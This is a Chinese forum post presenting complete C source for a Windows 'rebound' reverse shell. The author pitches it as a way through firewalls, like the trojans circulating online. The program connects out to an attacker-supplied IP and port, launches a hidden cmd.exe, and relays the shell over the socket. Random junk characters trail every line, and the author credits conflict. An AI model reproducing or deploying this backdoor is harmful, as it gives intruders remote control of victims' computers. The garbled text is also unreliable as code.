这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 %bu$t,
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/* ============================== ~lBb%M
Rebound port in Windows NT w=NM==cLj
By wind,2006/7 " ^v/Y
===============================*/ noSkKqP
#include [&_7w\m
#include -cgLEl1 J
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#pragma comment(lib,"wsock32.lib") / //
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void OutputShell(); {Ad4H[]|]
SOCKET sClient; g mdJ8$
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; pUcN-WA
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void main(int argc,char **argv) (/mR
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{ ?*oBevUnCY
WSADATA stWsaData;
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int nRet; 4*AkUkP:T
SOCKADDR_IN stSaiClient,stSaiServer; NO)Hi)$X6Y
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if(argc != 3) tTjadnX
{ fwF&V^Dy
printf("Useage:\n\rRebound DestIP DestPort\n"); \ltbiDP2
return; -yP|CZM
} ~Q+E" "
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WSAStartup(MAKEWORD(2,2),&stWsaData); '99rXw
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C F,-l
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stSaiClient.sin_family = AF_INET; Yvi.l6JL
stSaiClient.sin_port = htons(0); O{vVW9Q
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~U;M1>
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^Z
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{ `49: !M$i
printf("Bind Socket Failed!\n"); }WowgY
return; c-jE1y<
} {PGiNY%q
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stSaiServer.sin_family = AF_INET; Y)O88C
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ugu|?z*dI
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); k)3b0T@b
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) lXT+OJF
{ >z'T"R/
printf("Connect Error!"); yG'
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return; <`Xt?K
} ^P!(*k#T
OutputShell(); JT,[;
} ;s$,}O.
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void OutputShell() +^6a$ N
{ MJ\^i4
char szBuff[1024]; ts:YJAu+F
SECURITY_ATTRIBUTES stSecurityAttributes; Jkx_5kk/\
OSVERSIONINFO stOsversionInfo; r"_U-w
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ^ g'P
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STARTUPINFO stStartupInfo; 5i0vli/L
char *szShell; 7DZZdH$Fm
PROCESS_INFORMATION stProcessInformation; YHp]O+c
unsigned long lBytesRead; XLgp.w;
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); (v,g=BS,
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); c]/X
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stSecurityAttributes.lpSecurityDescriptor = 0; B*@0l:
stSecurityAttributes.bInheritHandle = TRUE; F(;=^w
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); -=InGm\Y
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 20,}T)}Tm
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); V;LV),R?
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b Y2:g )
stStartupInfo.wShowWindow = SW_HIDE; ,k9xI<i
stStartupInfo.hStdInput = hReadPipe; O>@ChQF
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; \Dx;AK s
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GetVersionEx(&stOsversionInfo); D_Zt:tzO
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switch(stOsversionInfo.dwPlatformId) jtv<{7a
{ X:>,3[hx|
case 1: OTj
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szShell = "command.com"; l9Av@|
break; [*K.9}+G_
default: ?:Sqh1-z
szShell = "cmd.exe"; K^Ho%_)
break; PJ))p6
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} 3P *[!KI
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); v.6K;TY.
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send(sClient,szMsg,77,0); .[:y`PCF
while(1) >c@jl
{ s?Z{LWZ@
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); M\A6;dz'
if(lBytesRead) _[pbfua
{ Ew )1O9f
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); bO'?7=SC
send(sClient,szBuff,lBytesRead,0); Y`*h#{|
} j a'_syn
else |/%X8\
{ E#~J"9k98
lBytesRead=recv(sClient,szBuff,1024,0); Ly-}HW (
if(lBytesRead<=0) break; AIG5a$}&
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); gX~lYdA
} ?&JKq^9\I
} `sLD>@m
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return; &9ERlZ(A
}